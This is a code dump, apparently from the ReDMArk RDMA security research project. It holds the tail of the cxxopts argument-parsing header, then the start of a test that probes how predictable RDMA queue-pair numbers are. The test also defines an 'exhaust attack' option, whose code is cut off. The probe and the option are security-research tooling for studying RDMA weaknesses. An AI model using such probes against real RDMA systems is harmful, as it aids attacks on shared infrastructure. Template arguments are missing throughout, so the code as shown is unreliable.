get_default_value() const 830 | { 831 | return m_default_value; 832 | } 833 | 834 | std::string 835 | get_implicit_value() const 836 | { 837 | return m_implicit_value; 838 | } 839 | 840 | bool 841 | is_boolean() const 842 | { 843 | return std::is_same::value; 844 | } 845 | 846 | const T& 847 | get() const 848 | { 849 | if (m_store == nullptr) 850 | { 851 | return *m_result; 852 | } 853 | else 854 | { 855 | return *m_store; 856 | } 857 | } 858 | 859 | protected: 860 | std::shared_ptr m_result; 861 | T* m_store; 862 | 863 | bool m_default = false; 864 | bool m_implicit = false; 865 | 866 | std::string m_default_value; 867 | std::string m_implicit_value; 868 | }; 869 | 870 | template 871 | class standard_value : public abstract_value 872 | { 873 | public: 874 | using abstract_value::abstract_value; 875 | 876 | std::shared_ptr 877 | clone() const 878 | { 879 | return std::make_shared>(*this); 880 | } 881 | }; 882 | 883 | template <> 884 | class standard_value : public abstract_value 885 | { 886 | public: 887 | ~standard_value() = default; 888 | 889 | standard_value() 890 | { 891 | set_default_and_implicit(); 892 | } 893 | 894 | standard_value(bool* b) 895 | : abstract_value(b) 896 | { 897 | set_default_and_implicit(); 898 | } 899 | 900 | std::shared_ptr 901 | clone() const 902 | { 903 | return std::make_shared>(*this); 904 | } 905 | 906 | private: 907 | 908 | void 909 | set_default_and_implicit() 910 | { 911 | m_default = true; 912 | m_default_value = "false"; 913 | m_implicit = true; 914 | m_implicit_value = "true"; 915 | } 916 | }; 917 | } 918 | 919 | template 920 | std::shared_ptr 921 | value() 922 | { 923 | return std::make_shared>(); 924 | } 925 | 926 | template 927 | std::shared_ptr 928 | value(T& t) 929 | { 930 | return std::make_shared>(&t); 931 | } 932 | 933 | class OptionAdder; 934 | 935 | class OptionDetails 936 | { 937 | public: 938 | OptionDetails 939 | ( 940 | const std::string& short_, 941 | const std::string& long_, 942 | const String& desc, 943 | std::shared_ptr val 944 | ) 945 | : m_short(short_) 946 | , m_long(long_) 947 | , m_desc(desc) 948 | , m_value(val) 949 | , m_count(0) 950 | { 951 | } 952 | 953 | OptionDetails(const OptionDetails& rhs) 954 | : m_desc(rhs.m_desc) 955 | , m_count(rhs.m_count) 956 | { 957 | m_value = rhs.m_value->clone(); 958 | } 959 | 960 | OptionDetails(OptionDetails&& rhs) = default; 961 | 962 | const String& 963 | description() const 964 | { 965 | return m_desc; 966 | } 967 | 968 | const Value& value() const { 969 | return *m_value; 970 | } 971 | 972 | std::shared_ptr 973 | make_storage() const 974 | { 975 | return m_value->clone(); 976 | } 977 | 978 | const std::string& 979 | short_name() const 980 | { 981 | return m_short; 982 | } 983 | 984 | const std::string& 985 | long_name() const 986 | { 987 | return m_long; 988 | } 989 | 990 | private: 991 | std::string m_short; 992 | std::string m_long; 993 | String m_desc; 994 | std::shared_ptr m_value; 995 | int m_count; 996 | }; 997 | 998 | struct HelpOptionDetails 999 | { 1000 | std::string s; 1001 | std::string l; 1002 | String desc; 1003 | bool has_default; 1004 | std::string default_value; 1005 | bool has_implicit; 1006 | std::string implicit_value; 1007 | std::string arg_help; 1008 | bool is_container; 1009 | bool is_boolean; 1010 | }; 1011 | 1012 | struct HelpGroupDetails 1013 | { 1014 | std::string name; 1015 | std::string description; 1016 | std::vector options; 1017 | }; 1018 | 1019 | class OptionValue 1020 | { 1021 | public: 1022 | void 1023 | parse 1024 | ( 1025 | std::shared_ptr details, 1026 | const std::string& text 1027 | ) 1028 | { 1029 | ensure_value(details); 1030 | ++m_count; 1031 | m_value->parse(text); 1032 | } 1033 | 1034 | void 1035 | parse_default(std::shared_ptr details) 1036 | { 1037 | ensure_value(details); 1038 | m_value->parse(); 1039 | } 1040 | 1041 | size_t 1042 | count() const 1043 | { 1044 | return m_count; 1045 | } 1046 | 1047 | template 1048 | const T& 1049 | as() const 1050 | { 1051 | if (m_value == nullptr) { 1052 | throw std::domain_error("No value"); 1053 | } 1054 | 1055 | #ifdef CXXOPTS_NO_RTTI 1056 | return static_cast&>(*m_value).get(); 1057 | #else 1058 | return dynamic_cast&>(*m_value).get(); 1059 | #endif 1060 | } 1061 | 1062 | private: 1063 | void 1064 | ensure_value(std::shared_ptr details) 1065 | { 1066 | if (m_value == nullptr) 1067 | { 1068 | m_value = details->make_storage(); 1069 | } 1070 | } 1071 | 1072 | std::shared_ptr m_value; 1073 | size_t m_count = 0; 1074 | }; 1075 | 1076 | class KeyValue 1077 | { 1078 | public: 1079 | KeyValue(std::string key_, std::string value_) 1080 | : m_key(std::move(key_)) 1081 | , m_value(std::move(value_)) 1082 | { 1083 | } 1084 | 1085 | const 1086 | std::string& 1087 | key() const 1088 | { 1089 | return m_key; 1090 | } 1091 | 1092 | const std::string 1093 | value() const 1094 | { 1095 | return m_value; 1096 | } 1097 | 1098 | template 1099 | T 1100 | as() const 1101 | { 1102 | T result; 1103 | values::parse_value(m_value, result); 1104 | return result; 1105 | } 1106 | 1107 | private: 1108 | std::string m_key; 1109 | std::string m_value; 1110 | }; 1111 | 1112 | class ParseResult 1113 | { 1114 | public: 1115 | 1116 | ParseResult( 1117 | const std::shared_ptr< 1118 | std::unordered_map> 1119 | >, 1120 | std::vector, 1121 | bool allow_unrecognised, 1122 | int&, char**&); 1123 | 1124 | size_t 1125 | count(const std::string& o) const 1126 | { 1127 | auto iter = m_options->find(o); 1128 | if (iter == m_options->end()) 1129 | { 1130 | return 0; 1131 | } 1132 | 1133 | auto riter = m_results.find(iter->second); 1134 | 1135 | return riter->second.count(); 1136 | } 1137 | 1138 | const OptionValue& 1139 | operator[](const std::string& option) const 1140 | { 1141 | auto iter = m_options->find(option); 1142 | 1143 | if (iter == m_options->end()) 1144 | { 1145 | throw option_not_present_exception(option); 1146 | } 1147 | 1148 | auto riter = m_results.find(iter->second); 1149 | 1150 | return riter->second; 1151 | } 1152 | 1153 | const std::vector& 1154 | arguments() const 1155 | { 1156 | return m_sequential; 1157 | } 1158 | 1159 | private: 1160 | 1161 | void 1162 | parse(int& argc, char**& argv); 1163 | 1164 | void 1165 | add_to_option(const std::string& option, const std::string& arg); 1166 | 1167 | bool 1168 | consume_positional(std::string a); 1169 | 1170 | void 1171 | parse_option 1172 | ( 1173 | std::shared_ptr value, 1174 | const std::string& name, 1175 | const std::string& arg = "" 1176 | ); 1177 | 1178 | void 1179 | parse_default(std::shared_ptr details); 1180 | 1181 | void 1182 | checked_parse_arg 1183 | ( 1184 | int argc, 1185 | char* argv[], 1186 | int& current, 1187 | std::shared_ptr value, 1188 | const std::string& name 1189 | ); 1190 | 1191 | const std::shared_ptr< 1192 | std::unordered_map> 1193 | > m_options; 1194 | std::vector m_positional; 1195 | std::vector::iterator m_next_positional; 1196 | std::unordered_set m_positional_set; 1197 | std::unordered_map, OptionValue> m_results; 1198 | 1199 | bool m_allow_unrecognised; 1200 | 1201 | std::vector m_sequential; 1202 | }; 1203 | 1204 | class Options 1205 | { 1206 | typedef std::unordered_map> 1207 | OptionMap; 1208 | public: 1209 | 1210 | Options(std::string program, std::string help_string = "") 1211 | : m_program(std::move(program)) 1212 | , m_help_string(toLocalString(std::move(help_string))) 1213 | , m_custom_help("[OPTION...]") 1214 | , m_positional_help("positional parameters") 1215 | , m_show_positional(false) 1216 | , m_allow_unrecognised(false) 1217 | , m_options(std::make_shared()) 1218 | , m_next_positional(m_positional.end()) 1219 | { 1220 | } 1221 | 1222 | Options& 1223 | positional_help(std::string help_text) 1224 | { 1225 | m_positional_help = std::move(help_text); 1226 | return *this; 1227 | } 1228 | 1229 | Options& 1230 | custom_help(std::string help_text) 1231 | { 1232 | m_custom_help = std::move(help_text); 1233 | return *this; 1234 | } 1235 | 1236 | Options& 1237 | show_positional_help() 1238 | { 1239 | m_show_positional = true; 1240 | return *this; 1241 | } 1242 | 1243 | Options& 1244 | allow_unrecognised_options() 1245 | { 1246 | m_allow_unrecognised = true; 1247 | return *this; 1248 | } 1249 | 1250 | ParseResult 1251 | parse(int& argc, char**& argv); 1252 | 1253 | OptionAdder 1254 | add_options(std::string group = ""); 1255 | 1256 | void 1257 | add_option 1258 | ( 1259 | const std::string& group, 1260 | const std::string& s, 1261 | const std::string& l, 1262 | std::string desc, 1263 | std::shared_ptr value, 1264 | std::string arg_help 1265 | ); 1266 | 1267 | //parse positional arguments into the given option 1268 | void 1269 | parse_positional(std::string option); 1270 | 1271 | void 1272 | parse_positional(std::vector options); 1273 | 1274 | void 1275 | parse_positional(std::initializer_list options); 1276 | 1277 | template 1278 | void 1279 | parse_positional(Iterator begin, Iterator end) { 1280 | parse_positional(std::vector{begin, end}); 1281 | } 1282 | 1283 | std::string 1284 | help(const std::vector& groups = {""}) const; 1285 | 1286 | const std::vector 1287 | groups() const; 1288 | 1289 | const HelpGroupDetails& 1290 | group_help(const std::string& group) const; 1291 | 1292 | private: 1293 | 1294 | void 1295 | add_one_option 1296 | ( 1297 | const std::string& option, 1298 | std::shared_ptr details 1299 | ); 1300 | 1301 | String 1302 | help_one_group(const std::string& group) const; 1303 | 1304 | void 1305 | generate_group_help 1306 | ( 1307 | String& result, 1308 | const std::vector& groups 1309 | ) const; 1310 | 1311 | void 1312 | generate_all_groups_help(String& result) const; 1313 | 1314 | std::string m_program; 1315 | String m_help_string; 1316 | std::string m_custom_help; 1317 | std::string m_positional_help; 1318 | bool m_show_positional; 1319 | bool m_allow_unrecognised; 1320 | 1321 | std::shared_ptr m_options; 1322 | std::vector m_positional; 1323 | std::vector::iterator m_next_positional; 1324 | std::unordered_set m_positional_set; 1325 | 1326 | //mapping from groups to help options 1327 | std::map m_help; 1328 | }; 1329 | 1330 | class OptionAdder 1331 | { 1332 | public: 1333 | 1334 | OptionAdder(Options& options, std::string group) 1335 | : m_options(options), m_group(std::move(group)) 1336 | { 1337 | } 1338 | 1339 | OptionAdder& 1340 | operator() 1341 | ( 1342 | const std::string& opts, 1343 | const std::string& desc, 1344 | std::shared_ptr value 1345 | = ::cxxopts::value(), 1346 | std::string arg_help = "" 1347 | ); 1348 | 1349 | private: 1350 | Options& m_options; 1351 | std::string m_group; 1352 | }; 1353 | 1354 | namespace 1355 | { 1356 | constexpr int OPTION_LONGEST = 30; 1357 | constexpr int OPTION_DESC_GAP = 2; 1358 | 1359 | std::basic_regex option_matcher 1360 | ("--([[:alnum:]][-_[:alnum:]]+)(=(.*))?|-([[:alnum:]]+)"); 1361 | 1362 | std::basic_regex option_specifier 1363 | ("(([[:alnum:]]),)?[ ]*([[:alnum:]][-_[:alnum:]]*)?"); 1364 | 1365 | String 1366 | format_option 1367 | ( 1368 | const HelpOptionDetails& o 1369 | ) 1370 | { 1371 | auto& s = o.s; 1372 | auto& l = o.l; 1373 | 1374 | String result = " "; 1375 | 1376 | if (s.size() > 0) 1377 | { 1378 | result += "-" + toLocalString(s) + ","; 1379 | } 1380 | else 1381 | { 1382 | result += " "; 1383 | } 1384 | 1385 | if (l.size() > 0) 1386 | { 1387 | result += " --" + toLocalString(l); 1388 | } 1389 | 1390 | auto arg = o.arg_help.size() > 0 ? toLocalString(o.arg_help) : "arg"; 1391 | 1392 | if (!o.is_boolean) 1393 | { 1394 | if (o.has_implicit) 1395 | { 1396 | result += " [=" + arg + "(=" + toLocalString(o.implicit_value) + ")]"; 1397 | } 1398 | else 1399 | { 1400 | result += " " + arg; 1401 | } 1402 | } 1403 | 1404 | return result; 1405 | } 1406 | 1407 | String 1408 | format_description 1409 | ( 1410 | const HelpOptionDetails& o, 1411 | size_t start, 1412 | size_t width 1413 | ) 1414 | { 1415 | auto desc = o.desc; 1416 | 1417 | if (o.has_default && (!o.is_boolean || o.default_value != "false")) 1418 | { 1419 | desc += toLocalString(" (default: " + o.default_value + ")"); 1420 | } 1421 | 1422 | String result; 1423 | 1424 | auto current = std::begin(desc); 1425 | auto startLine = current; 1426 | auto lastSpace = current; 1427 | 1428 | auto size = size_t{}; 1429 | 1430 | while (current != std::end(desc)) 1431 | { 1432 | if (*current == ' ') 1433 | { 1434 | lastSpace = current; 1435 | } 1436 | 1437 | if (*current == '\n') 1438 | { 1439 | startLine = current + 1; 1440 | lastSpace = startLine; 1441 | } 1442 | else if (size > width) 1443 | { 1444 | if (lastSpace == startLine) 1445 | { 1446 | stringAppend(result, startLine, current + 1); 1447 | stringAppend(result, "\n"); 1448 | stringAppend(result, start, ' '); 1449 | startLine = current + 1; 1450 | lastSpace = startLine; 1451 | } 1452 | else 1453 | { 1454 | stringAppend(result, startLine, lastSpace); 1455 | stringAppend(result, "\n"); 1456 | stringAppend(result, start, ' '); 1457 | startLine = lastSpace + 1; 1458 | } 1459 | size = 0; 1460 | } 1461 | else 1462 | { 1463 | ++size; 1464 | } 1465 | 1466 | ++current; 1467 | } 1468 | 1469 | //append whatever is left 1470 | stringAppend(result, startLine, current); 1471 | 1472 | return result; 1473 | } 1474 | } 1475 | 1476 | inline 1477 | ParseResult::ParseResult 1478 | ( 1479 | const std::shared_ptr< 1480 | std::unordered_map> 1481 | > options, 1482 | std::vector positional, 1483 | bool allow_unrecognised, 1484 | int& argc, char**& argv 1485 | ) 1486 | : m_options(options) 1487 | , m_positional(std::move(positional)) 1488 | , m_next_positional(m_positional.begin()) 1489 | , m_allow_unrecognised(allow_unrecognised) 1490 | { 1491 | parse(argc, argv); 1492 | } 1493 | 1494 | inline 1495 | OptionAdder 1496 | Options::add_options(std::string group) 1497 | { 1498 | return OptionAdder(*this, std::move(group)); 1499 | } 1500 | 1501 | inline 1502 | OptionAdder& 1503 | OptionAdder::operator() 1504 | ( 1505 | const std::string& opts, 1506 | const std::string& desc, 1507 | std::shared_ptr value, 1508 | std::string arg_help 1509 | ) 1510 | { 1511 | std::match_results result; 1512 | std::regex_match(opts.c_str(), result, option_specifier); 1513 | 1514 | if (result.empty()) 1515 | { 1516 | throw invalid_option_format_error(opts); 1517 | } 1518 | 1519 | const auto& short_match = result[2]; 1520 | const auto& long_match = result[3]; 1521 | 1522 | if (!short_match.length() && !long_match.length()) 1523 | { 1524 | throw invalid_option_format_error(opts); 1525 | } else if (long_match.length() == 1 && short_match.length()) 1526 | { 1527 | throw invalid_option_format_error(opts); 1528 | } 1529 | 1530 | auto option_names = [] 1531 | ( 1532 | const std::sub_match& short_, 1533 | const std::sub_match& long_ 1534 | ) 1535 | { 1536 | if (long_.length() == 1) 1537 | { 1538 | return std::make_tuple(long_.str(), short_.str()); 1539 | } 1540 | else 1541 | { 1542 | return std::make_tuple(short_.str(), long_.str()); 1543 | } 1544 | }(short_match, long_match); 1545 | 1546 | m_options.add_option 1547 | ( 1548 | m_group, 1549 | std::get<0>(option_names), 1550 | std::get<1>(option_names), 1551 | desc, 1552 | value, 1553 | std::move(arg_help) 1554 | ); 1555 | 1556 | return *this; 1557 | } 1558 | 1559 | inline 1560 | void 1561 | ParseResult::parse_default(std::shared_ptr details) 1562 | { 1563 | m_results[details].parse_default(details); 1564 | } 1565 | 1566 | inline 1567 | void 1568 | ParseResult::parse_option 1569 | ( 1570 | std::shared_ptr value, 1571 | const std::string& /*name*/, 1572 | const std::string& arg 1573 | ) 1574 | { 1575 | auto& result = m_results[value]; 1576 | result.parse(value, arg); 1577 | 1578 | m_sequential.emplace_back(value->long_name(), arg); 1579 | } 1580 | 1581 | inline 1582 | void 1583 | ParseResult::checked_parse_arg 1584 | ( 1585 | int argc, 1586 | char* argv[], 1587 | int& current, 1588 | std::shared_ptr value, 1589 | const std::string& name 1590 | ) 1591 | { 1592 | if (current + 1 >= argc) 1593 | { 1594 | if (value->value().has_implicit()) 1595 | { 1596 | parse_option(value, name, value->value().get_implicit_value()); 1597 | } 1598 | else 1599 | { 1600 | throw missing_argument_exception(name); 1601 | } 1602 | } 1603 | else 1604 | { 1605 | if (value->value().has_implicit()) 1606 | { 1607 | parse_option(value, name, value->value().get_implicit_value()); 1608 | } 1609 | else 1610 | { 1611 | parse_option(value, name, argv[current + 1]); 1612 | ++current; 1613 | } 1614 | } 1615 | } 1616 | 1617 | inline 1618 | void 1619 | ParseResult::add_to_option(const std::string& option, const std::string& arg) 1620 | { 1621 | auto iter = m_options->find(option); 1622 | 1623 | if (iter == m_options->end()) 1624 | { 1625 | throw option_not_exists_exception(option); 1626 | } 1627 | 1628 | parse_option(iter->second, option, arg); 1629 | } 1630 | 1631 | inline 1632 | bool 1633 | ParseResult::consume_positional(std::string a) 1634 | { 1635 | while (m_next_positional != m_positional.end()) 1636 | { 1637 | auto iter = m_options->find(*m_next_positional); 1638 | if (iter != m_options->end()) 1639 | { 1640 | auto& result = m_results[iter->second]; 1641 | if (!iter->second->value().is_container()) 1642 | { 1643 | if (result.count() == 0) 1644 | { 1645 | add_to_option(*m_next_positional, a); 1646 | ++m_next_positional; 1647 | return true; 1648 | } 1649 | else 1650 | { 1651 | ++m_next_positional; 1652 | continue; 1653 | } 1654 | } 1655 | else 1656 | { 1657 | add_to_option(*m_next_positional, a); 1658 | return true; 1659 | } 1660 | } 1661 | ++m_next_positional; 1662 | } 1663 | 1664 | return false; 1665 | } 1666 | 1667 | inline 1668 | void 1669 | Options::parse_positional(std::string option) 1670 | { 1671 | parse_positional(std::vector{std::move(option)}); 1672 | } 1673 | 1674 | inline 1675 | void 1676 | Options::parse_positional(std::vector options) 1677 | { 1678 | m_positional = std::move(options); 1679 | m_next_positional = m_positional.begin(); 1680 | 1681 | m_positional_set.insert(m_positional.begin(), m_positional.end()); 1682 | } 1683 | 1684 | inline 1685 | void 1686 | Options::parse_positional(std::initializer_list options) 1687 | { 1688 | parse_positional(std::vector(std::move(options))); 1689 | } 1690 | 1691 | inline 1692 | ParseResult 1693 | Options::parse(int& argc, char**& argv) 1694 | { 1695 | ParseResult result(m_options, m_positional, m_allow_unrecognised, argc, argv); 1696 | return result; 1697 | } 1698 | 1699 | inline 1700 | void 1701 | ParseResult::parse(int& argc, char**& argv) 1702 | { 1703 | int current = 1; 1704 | 1705 | int nextKeep = 1; 1706 | 1707 | bool consume_remaining = false; 1708 | 1709 | while (current != argc) 1710 | { 1711 | if (strcmp(argv[current], "--") == 0) 1712 | { 1713 | consume_remaining = true; 1714 | ++current; 1715 | break; 1716 | } 1717 | 1718 | std::match_results result; 1719 | std::regex_match(argv[current], result, option_matcher); 1720 | 1721 | if (result.empty()) 1722 | { 1723 | //not a flag 1724 | 1725 | // but if it starts with a `-`, then it's an error 1726 | if (argv[current][0] == '-') { 1727 | throw option_syntax_exception(argv[current]); 1728 | } 1729 | 1730 | //if true is returned here then it was consumed, otherwise it is 1731 | //ignored 1732 | if (consume_positional(argv[current])) 1733 | { 1734 | } 1735 | else 1736 | { 1737 | argv[nextKeep] = argv[current]; 1738 | ++nextKeep; 1739 | } 1740 | //if we return from here then it was parsed successfully, so continue 1741 | } 1742 | else 1743 | { 1744 | //short or long option? 1745 | if (result[4].length() != 0) 1746 | { 1747 | const std::string& s = result[4]; 1748 | 1749 | for (std::size_t i = 0; i != s.size(); ++i) 1750 | { 1751 | std::string name(1, s[i]); 1752 | auto iter = m_options->find(name); 1753 | 1754 | if (iter == m_options->end()) 1755 | { 1756 | if (m_allow_unrecognised) 1757 | { 1758 | continue; 1759 | } 1760 | else 1761 | { 1762 | //error 1763 | throw option_not_exists_exception(name); 1764 | } 1765 | } 1766 | 1767 | auto value = iter->second; 1768 | 1769 | if (i + 1 == s.size()) 1770 | { 1771 | //it must be the last argument 1772 | checked_parse_arg(argc, argv, current, value, name); 1773 | } 1774 | else if (value->value().has_implicit()) 1775 | { 1776 | parse_option(value, name, value->value().get_implicit_value()); 1777 | } 1778 | else 1779 | { 1780 | //error 1781 | throw option_requires_argument_exception(name); 1782 | } 1783 | } 1784 | } 1785 | else if (result[1].length() != 0) 1786 | { 1787 | const std::string& name = result[1]; 1788 | 1789 | auto iter = m_options->find(name); 1790 | 1791 | if (iter == m_options->end()) 1792 | { 1793 | if (m_allow_unrecognised) 1794 | { 1795 | // keep unrecognised options in argument list, skip to next argument 1796 | argv[nextKeep] = argv[current]; 1797 | ++nextKeep; 1798 | ++current; 1799 | continue; 1800 | } 1801 | else 1802 | { 1803 | //error 1804 | throw option_not_exists_exception(name); 1805 | } 1806 | } 1807 | 1808 | auto opt = iter->second; 1809 | 1810 | //equals provided for long option? 1811 | if (result[2].length() != 0) 1812 | { 1813 | //parse the option given 1814 | 1815 | parse_option(opt, name, result[3]); 1816 | } 1817 | else 1818 | { 1819 | //parse the next argument 1820 | checked_parse_arg(argc, argv, current, opt, name); 1821 | } 1822 | } 1823 | 1824 | } 1825 | 1826 | ++current; 1827 | } 1828 | 1829 | for (auto& opt : *m_options) 1830 | { 1831 | auto& detail = opt.second; 1832 | auto& value = detail->value(); 1833 | 1834 | auto& store = m_results[detail]; 1835 | 1836 | if(!store.count() && value.has_default()){ 1837 | parse_default(detail); 1838 | } 1839 | } 1840 | 1841 | if (consume_remaining) 1842 | { 1843 | while (current < argc) 1844 | { 1845 | if (!consume_positional(argv[current])) { 1846 | break; 1847 | } 1848 | ++current; 1849 | } 1850 | 1851 | //adjust argv for any that couldn't be swallowed 1852 | while (current != argc) { 1853 | argv[nextKeep] = argv[current]; 1854 | ++nextKeep; 1855 | ++current; 1856 | } 1857 | } 1858 | 1859 | argc = nextKeep; 1860 | 1861 | } 1862 | 1863 | inline 1864 | void 1865 | Options::add_option 1866 | ( 1867 | const std::string& group, 1868 | const std::string& s, 1869 | const std::string& l, 1870 | std::string desc, 1871 | std::shared_ptr value, 1872 | std::string arg_help 1873 | ) 1874 | { 1875 | auto stringDesc = toLocalString(std::move(desc)); 1876 | auto option = std::make_shared(s, l, stringDesc, value); 1877 | 1878 | if (s.size() > 0) 1879 | { 1880 | add_one_option(s, option); 1881 | } 1882 | 1883 | if (l.size() > 0) 1884 | { 1885 | add_one_option(l, option); 1886 | } 1887 | 1888 | //add the help details 1889 | auto& options = m_help[group]; 1890 | 1891 | options.options.emplace_back(HelpOptionDetails{s, l, stringDesc, 1892 | value->has_default(), value->get_default_value(), 1893 | value->has_implicit(), value->get_implicit_value(), 1894 | std::move(arg_help), 1895 | value->is_container(), 1896 | value->is_boolean()}); 1897 | } 1898 | 1899 | inline 1900 | void 1901 | Options::add_one_option 1902 | ( 1903 | const std::string& option, 1904 | std::shared_ptr details 1905 | ) 1906 | { 1907 | auto in = m_options->emplace(option, details); 1908 | 1909 | if (!in.second) 1910 | { 1911 | throw option_exists_error(option); 1912 | } 1913 | } 1914 | 1915 | inline 1916 | String 1917 | Options::help_one_group(const std::string& g) const 1918 | { 1919 | typedef std::vector> OptionHelp; 1920 | 1921 | auto group = m_help.find(g); 1922 | if (group == m_help.end()) 1923 | { 1924 | return ""; 1925 | } 1926 | 1927 | OptionHelp format; 1928 | 1929 | size_t longest = 0; 1930 | 1931 | String result; 1932 | 1933 | if (!g.empty()) 1934 | { 1935 | result += toLocalString(" " + g + " options:\n"); 1936 | } 1937 | 1938 | for (const auto& o : group->second.options) 1939 | { 1940 | if (o.is_container && 1941 | m_positional_set.find(o.l) != m_positional_set.end() && 1942 | !m_show_positional) 1943 | { 1944 | continue; 1945 | } 1946 | 1947 | auto s = format_option(o); 1948 | longest = std::max(longest, stringLength(s)); 1949 | format.push_back(std::make_pair(s, String())); 1950 | } 1951 | 1952 | longest = std::min(longest, static_cast(OPTION_LONGEST)); 1953 | 1954 | //widest allowed description 1955 | auto allowed = size_t{76} - longest - OPTION_DESC_GAP; 1956 | 1957 | auto fiter = format.begin(); 1958 | for (const auto& o : group->second.options) 1959 | { 1960 | if (o.is_container && 1961 | m_positional_set.find(o.l) != m_positional_set.end() && 1962 | !m_show_positional) 1963 | { 1964 | continue; 1965 | } 1966 | 1967 | auto d = format_description(o, longest + OPTION_DESC_GAP, allowed); 1968 | 1969 | result += fiter->first; 1970 | if (stringLength(fiter->first) > longest) 1971 | { 1972 | result += '\n'; 1973 | result += toLocalString(std::string(longest + OPTION_DESC_GAP, ' ')); 1974 | } 1975 | else 1976 | { 1977 | result += toLocalString(std::string(longest + OPTION_DESC_GAP - 1978 | stringLength(fiter->first), 1979 | ' ')); 1980 | } 1981 | result += d; 1982 | result += '\n'; 1983 | 1984 | ++fiter; 1985 | } 1986 | 1987 | return result; 1988 | } 1989 | 1990 | inline 1991 | void 1992 | Options::generate_group_help 1993 | ( 1994 | String& result, 1995 | const std::vector& print_groups 1996 | ) const 1997 | { 1998 | for (size_t i = 0; i != print_groups.size(); ++i) 1999 | { 2000 | const String& group_help_text = help_one_group(print_groups[i]); 2001 | if (empty(group_help_text)) 2002 | { 2003 | continue; 2004 | } 2005 | result += group_help_text; 2006 | if (i < print_groups.size() - 1) 2007 | { 2008 | result += '\n'; 2009 | } 2010 | } 2011 | } 2012 | 2013 | inline 2014 | void 2015 | Options::generate_all_groups_help(String& result) const 2016 | { 2017 | std::vector all_groups; 2018 | all_groups.reserve(m_help.size()); 2019 | 2020 | for (auto& group : m_help) 2021 | { 2022 | all_groups.push_back(group.first); 2023 | } 2024 | 2025 | generate_group_help(result, all_groups); 2026 | } 2027 | 2028 | inline 2029 | std::string 2030 | Options::help(const std::vector& help_groups) const 2031 | { 2032 | String result = m_help_string + "\nUsage:\n " + 2033 | toLocalString(m_program) + " " + toLocalString(m_custom_help); 2034 | 2035 | if (m_positional.size() > 0 && m_positional_help.size() > 0) { 2036 | result += " " + toLocalString(m_positional_help); 2037 | } 2038 | 2039 | result += "\n\n"; 2040 | 2041 | if (help_groups.size() == 0) 2042 | { 2043 | generate_all_groups_help(result); 2044 | } 2045 | else 2046 | { 2047 | generate_group_help(result, help_groups); 2048 | } 2049 | 2050 | return toUTF8String(result); 2051 | } 2052 | 2053 | inline 2054 | const std::vector 2055 | Options::groups() const 2056 | { 2057 | std::vector g; 2058 | 2059 | std::transform( 2060 | m_help.begin(), 2061 | m_help.end(), 2062 | std::back_inserter(g), 2063 | [] (const std::map::value_type& pair) 2064 | { 2065 | return pair.first; 2066 | } 2067 | ); 2068 | 2069 | return g; 2070 | } 2071 | 2072 | inline 2073 | const HelpGroupDetails& 2074 | Options::group_help(const std::string& group) const 2075 | { 2076 | return m_help.at(group); 2077 | } 2078 | 2079 | } 2080 | 2081 | #endif //CXXOPTS_HPP_INCLUDED 2082 | -------------------------------------------------------------------------------- /qp_tests/main.cpp: -------------------------------------------------------------------------------- 1 | /** 2 | * ReDMArk: Bypassing RDMA Security Mechanisms 3 | * 4 | * Launch a test to show predictability of QP numbers and the current limit on the number of allocated QPs. 5 | * 6 | * Copyright (c) 2020-2021 ETH-Zurich. All rights reserved. 7 | * 8 | * Author(s): Konstantin Taranov 9 | * 10 | */ 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | 18 | #include 19 | #include 20 | #include 21 | #include 22 | #include "cxxopts.hpp" 23 | 24 | 25 | cxxopts::ParseResult 26 | parse(int argc, char* argv[]) 27 | { 28 | cxxopts::Options options(argv[0], "\ 29 | QP tests.\n\ 30 | The first test checks QP numbers.\n\ 31 | the second test tries to exhaust QP allocation."); 32 | options.positional_help("[optional args]") 33 | .show_positional_help(); 34 | 35 | try 36 | { 37 | 38 | options.add_options() 39 | ("n,num", "number of QPs", cxxopts::value()->default_value("20"), "N") 40 | ("d,dev", "ib device", cxxopts::value(), "name") 41 | ("exhaust", "run exhaust attack") 42 | ("help", "Print help") 43 | ; 44 | 45 | auto result = options.parse(argc, argv); 46 | 47 | if (result.count("help")) 48 | { 49 | std::cout << options.help({""}) << std::endl; 50 | exit(0); 51 | } 52 | 53 | return result; 54 | 55 | } catch (const cxxopts::OptionException& e) 56 | { 57 | std::cout << "error parsing options: " << e.what() << std::endl; 58 | std::cout << options.help({""}) << std::endl; 59 | exit(1); 60 | } 61 | } 62 | 63 | 64 | 65 | static struct ibv_device * 66 | ibFindDevice(const char *name) 67 | { 68 | struct ibv_device **devices; 69 | 70 | devices = ibv_get_device_list(NULL); 71 | if (devices == NULL) 72 | return NULL; 73 | 74 | if (name == NULL) 75 | return devices[0]; 76 | 77 | for (int i = 0; devices[i] != NULL; i++) { 78 | if (strcmp(devices[i]->name, name) == 0) 79 | return devices[i]; 80 | } 81 | 82 | return NULL; 83 | } 84 | 85 | 86 | void test_qps(struct ibv_context *ctxt,struct ibv_pd *pd, uint32_t N){ 87 | // register our userspace buffer with the HCA 88 | struct ibv_cq *cq = ibv_create_cq(ctxt, 1, NULL,NULL,0); 89 | // fill in a big struct of queue pair parameters 90 | struct ibv_qp_init_attr qpia; 91 | memset(&qpia, 0, sizeof(qpia)); 92 | qpia.send_cq = cq; 93 | qpia.recv_cq = cq; 94 | qpia.cap.max_send_wr = 1; // max outstanding send requests 95 | qpia.cap.max_recv_wr = 1; // max outstanding recv requests 96 | qpia.cap.max_send_sge = 1; // max send scatter-gather elements 97 | qpia.cap.max_recv_sge = 1; // max recv scatter-gather elements 98 | qpia.cap.max_inline_data = 0; // max bytes of immediate data on send q 99 | qpia.qp_type = IBV_QPT_RC; // RC, UC, UD, or XRC 100 | qpia.sq_sig_all = 0; // only generate CQEs on requested WQEs 101 | 102 | uint32_t firstqpn = 0xFFFFFFFF; 103 | std::vector all_qpns; 104 | printf("QP numbers: "); 105 | for(uint32_t i = 0; i < N; i++){ 106 | // create the queue pair 107 | struct ibv_qp *qp = ibv_create_qp(pd, &qpia); 108 | if (qp == NULL) { 109 | fprintf(stderr, "failed to create queue pair\n"); 110 | exit(1); 111 | } 112 | if(firstqpn == qp->qp_num){ 113 | printf("\nThe qpnum was repeated after %u registrations\n",i); 114 | break; 115 | } 116 | 117 | if(firstqpn==0xFFFFFFFF){ 118 | firstqpn = qp->qp_num; 119 | } 120 | 121 | printf("0x%X ",qp->qp_num); 122 | all_qpns.push_back(qp->qp_num); 123 | 124 | ibv_destroy_qp(qp); 125 | } 126 | 127 | 128 | std::map hist; 129 | printf("\nQP number offsets: "); 130 | for(uint32_t i = 1; isecond++; 136 | } else { 137 | 